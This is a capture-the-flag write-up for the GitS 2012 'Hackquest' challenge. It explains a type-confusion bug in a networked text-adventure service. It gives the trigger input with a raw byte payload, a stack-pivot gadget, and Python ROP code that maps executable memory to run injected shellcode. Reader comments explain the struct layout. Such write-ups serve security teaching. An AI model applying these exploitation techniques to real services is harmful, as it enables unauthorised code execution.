GitS 2012 Teaser Hackquest

Find the key. (File running at

Category: exploitation
Hint: source

This challenge is on binary exploitation and the service is a text quest:

$ nc 7331
The 1337 Adventures of an Unknown Hacker
What is your name? hellman
Welcome, hellman, to your adventure.
You are in your bedroom.  The room is spinning and you are very tired.
> look
There is a can of Red Bull here.
> get can
You are in your bedroom.  The room is spinning and you are very tired.
You have a can of Red Bull.
> use can
You feel refreshed.
You are in your bedroom.  There is a computer on your desk.  To the south is
the door leading to the rest of the apartment.

There are places, items, actions here. You can get an item from the environment and use it. Some items are used on targets. The bug is hard to see:

{{"a", "letter addressed to %s",
"I don't know how else to reach you.  You haven't been online in a long time.\n"
"-ihackatlife\n\n", NULL, ITEM_NAMED_UNWRAP,
{.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}}
if (target)
	if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
		(item->type == ITEM_UNWRAP))
		sendMsg(s, "That item can't have a target.\n");
		ok = false;
	else if (!strcasecmp(item->info.action.requiredTarget, target))
		sendMsg(s, item->message);
		showDesc = item->info.action.actionInfo->showDesc;
		sendMsg(s, "Your target is invalid for that item.\n");
		ok = false;

ITEM_NAMED_UNWRAP is not listed here, so letter can be used on some target. When you use an item on something, item->info.action.actionInfo->func(sock) is called. But letter’s item->info.action.actionInfo points to player’s name! So, we can call any address if we find appropriate item->info.action.requiredTarget for letter.

This string is actually not a string, but a &passwordItem: pointer to passwordItem structure:

.data:0804C188 thing_password  dd offset aA            ; "a"
.data:0804C18C                 dd offset aPasswordToYour ; "password to your friend's website"
.data:0804C190                 dd offset aThePasswordWas ; "The password was accepted.\n\n"
.data:0804C194                 dd offset place_bedroom
.data:0804C198                 db 2
.data:0804C199                 db    0

This string in hex is 2ea20408bca20408dea204080cc2040802.

The trigger sequence is simple:

AAAA <-name
get can
use can
go south
get letter
use letter on \x2e\xa2\x04\x08\xbc\xa2\x04\x08\xde\xa2\x04\x08\x0c\xc2\x04\x08\x02

This payload makes a jump to 0x41414141. But where to jump?
Luckily, there’s a nice gadget:

0x8049019L: add esp 0x9c ;;

After jumping to it, esp points nearly to the middle of the command buffer. We should fill the buffer with our ROP payload and use this gadget to execute it.

The ROP code here is straightforward:
mmap an rwx page, read data, and jump there.

# mmap(0x13370000, 4096, 7, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0) 
rop = pack("<I", 0x080486D4) # mmap func
rop += pack("<I", 0x08048db5)# 0x8048db5L: add esp 0x1c ;;
rop += pack("<I", 0x13370000)
rop += pack("<I", 4096)
rop += pack("<I", 7)         # rwx
rop += pack("<I", 49)        # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS
rop += pack("<I", 0xffffffff)
rop += pack("<I", 0)
rop += "AAAA"
# read(4, 0x13370000, 4096) & jmp 0x13370000
rop += pack("<I", read)
rop += pack("<I", 0x13370000)
rop += pack("<I", 4)
rop += pack("<I", 0x13370000)
rop += pack("<I", 4096)


Full exploit.
Nice writeup by Eindbazen.


1 ping

Skip to comment form

    • @kyprizel on January 9, 2012 at 03:11
    • Reply

    Wow, nice writeup!

    • @marqo09 on January 9, 2012 at 22:52
    • Reply


    • leemyeongbak on January 16, 2012 at 11:47
    • Reply

    How did you know item->info.action.actionInfo points the username?

  1. typedef struct ItemInfo
    	char* article;
    	char* name;
    	char* message;
    	LocationInfo* requiredLocation;
    	ItemType type; //<<<<<<<<<<<<<<<<<<<<< type
    		void* data;
    		LocationInfo* newLocation;
    		struct ItemInfo* newItem;
    			ActionInfo* actionInfo;  // <<<<<<<< first because it's union

    as you can see, actioninfo pointer is right after the type

    ... ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}

    here the first field after type=ITEM_NAMED_UNWRAP is name.

    You can also find it out in GDB, breaking before each item usage.

    Actually it was really hard bug to found!

  1. […] writeup by LeetMore has more details on the bug (and a pretty much identical exploit, though ours is flashier :P). […]

Leave a Reply

Your email address will not be published.